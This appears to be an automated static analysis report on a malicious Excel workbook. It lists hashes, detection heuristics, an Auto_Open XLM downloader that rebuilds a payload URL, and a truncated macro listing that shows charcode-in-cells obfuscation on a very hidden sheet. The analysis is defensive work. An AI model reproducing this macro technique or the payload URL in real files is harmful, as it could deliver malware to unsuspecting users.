Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad8543cb6aff3178…

MALICIOUS

Office (OLE)

164.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 05ff10bfea2d480d32288b6db080adb1 SHA-1: ab5dd9101609e6eb4ab174bc423f1706e32d9eea SHA-256: ad8543cb6aff31789369fe43b88354dba40af67796f7a1921cf6e2b3690b02a5
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, including an Auto_Open macro that utilizes dangerous formula APIs. These macros reconstruct and reference a URL, "https://grpxmqnrb.pw/ehrj4g9g", which is highly indicative of a downloader attempting to fetch and execute a secondary payload. The presence of an Auto_Open macro suggests it was likely delivered as a spearphishing attachment.

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://grpxmqnrb.pw/ehrj4g9g Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro
    • http://schemas.microsoft.com/DataMashupReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 45231 bytes
SHA-256: 94f9629c92761f0801cd4546b2cc8d6e0339823f4c94bea53ca774ab28cbc86c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  tWEbr7Hfa
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!S1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  tWEbr7Hfa,A1,"",61.00000000000000000000
'  tWEbr7Hfa,B1,CHAR(A1),""
'  tWEbr7Hfa,C1,"",61.00000000000000000000
'  tWEbr7Hfa,D1,CHAR(C1),""
'  tWEbr7Hfa,E1,"",61.00000000000000000000
'  tWEbr7Hfa,F1,CHAR(E1),""
'  tWEbr7Hfa,G1,"",61.00000000000000000000
'  tWEbr7Hfa,H1,CHAR(G1),""
'  tWEbr7Hfa,I1,"",61.00000000000000000000
'  tWEbr7Hfa,J1,CHAR(I1),""
'  tWEbr7Hfa,K1,"",61.00000000000000000000
'  tWEbr7Hfa,L1,CHAR(K1),""
'  tWEbr7Hfa,M1,"",61.00000000000000000000
'  tWEbr7Hfa,N1,CHAR(M1),""
'  tWEbr7Hfa,O1,"",61.00000000000000000000
'  tWEbr7Hfa,P1,CHAR(O1),""
'  tWEbr7Hfa,Q1,"",61.00000000000000000000
'  tWEbr7Hfa,R1,CHAR(Q1),""
'  tWEbr7Hfa,S1,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,T1)",""
'  tWEbr7Hfa,A2,"",73.00000000000000000000
'  tWEbr7Hfa,B2,[],""
'  tWEbr7Hfa,C2,"",73.00000000000000000000
'  tWEbr7Hfa,D2,CHAR(C2),""
'  tWEbr7Hfa,E2,"",73.00000000000000000000
'  tWEbr7Hfa,F2,CHAR(E2),""
'  tWEbr7Hfa,G2,"",73.00000000000000000000
'  tWEbr7Hfa,H2,CHAR(G2),""
'  tWEbr7Hfa,I2,"",73.00000000000000000000
'  tWEbr7Hfa,J2,CHAR(I2),""
'  tWEbr7Hfa,K2,"",67.00000000000000000000
'  tWEbr7Hfa,L2,CHAR(K2),""
'  tWEbr7Hfa,M2,"",65.00000000000000000000
'  tWEbr7Hfa,N2,CHAR(M2),""
'  tWEbr7Hfa,O2,"",67.00000000000000000000
'  tWEbr7Hfa,P2,CHAR(O2),""
'  tWEbr7Hfa,Q2,"",67.00000000000000000000
'  tWEbr7Hfa,R2,CHAR(Q2),""
'  tWEbr7Hfa,S2,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35&D36&D37&D38&D39&D40&D41,T2)",""
'  tWEbr7Hfa,A3,"",70.00000000000000000000
'  tWEbr7Hfa,B3,[],""
'  tWEbr7Hfa,C3,"",70.00000000000000000000
'  tWEbr7Hfa,D3,CHAR(C3),""
'  tWEbr7Hfa,E3,"",70.00000000000000000000
'  tWEbr7Hfa,F3,CHAR(E3),""
'  tWEbr7Hfa,G3,"",70.00000000000000000000
'  tWEbr7Hfa,H3,CHAR(G3),""
'  tWEbr7Hfa,I3,"",70.00000000000000000000
'  tWEbr7Hfa,J3,CHAR(I3),""
'  tWEbr7Hfa,K3,"",65.00000000000000000000
'  tWEbr7Hfa,L3,CHAR(K3),""
'  tWEbr7Hfa,M3,"",76.00000000000000000000
'  tWEbr7Hfa,N3,CHAR(M3),""
'  tWEbr7Hfa,O3,"",65.00000000000000000000
'  tWEbr7Hfa,P3,CHAR(O3),""
'  tWEbr7Hfa,Q3,"",76.00000000000000000000
'  tWEbr7Hfa,R3,CHAR(Q3),""
'  tWEbr7Hfa,S3,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35,T3)",""
'  tWEbr7Hfa,A4,"",40.00000000000000000000
'  tWEbr7Hfa,B4,[],""
'  tWEbr7Hfa,C4,"",40.00000000000000000000
'  tWEbr7Hfa,D4,CHAR(C4),""
'  tWEbr7Hfa,E4,"",40.00000000000000000000
'  tWEbr7Hfa,F4,CHAR(E4),""
'  tWEbr7Hfa,G4,"",40.00000000000000000000
'  tWEbr7Hfa,H4,CHAR(G4),""
'  tWEbr7Hfa,I4,"",40.00000000000000000000
'  tWEbr7Hfa,J4,CHAR(I4),""
'  tWEbr7Hfa,K4,"",76.00000000000000000000
'  tWEbr7Hfa,L4,CHAR(K4),""
'  tWEbr7Hfa,M4,"",69.00000000000000000000
'  tWEbr7Hfa,N4,CHAR(M4),""
'  tWEbr7Hfa,O4,"",76.00000000000000000000
'  tWEbr7Hfa
... (truncated)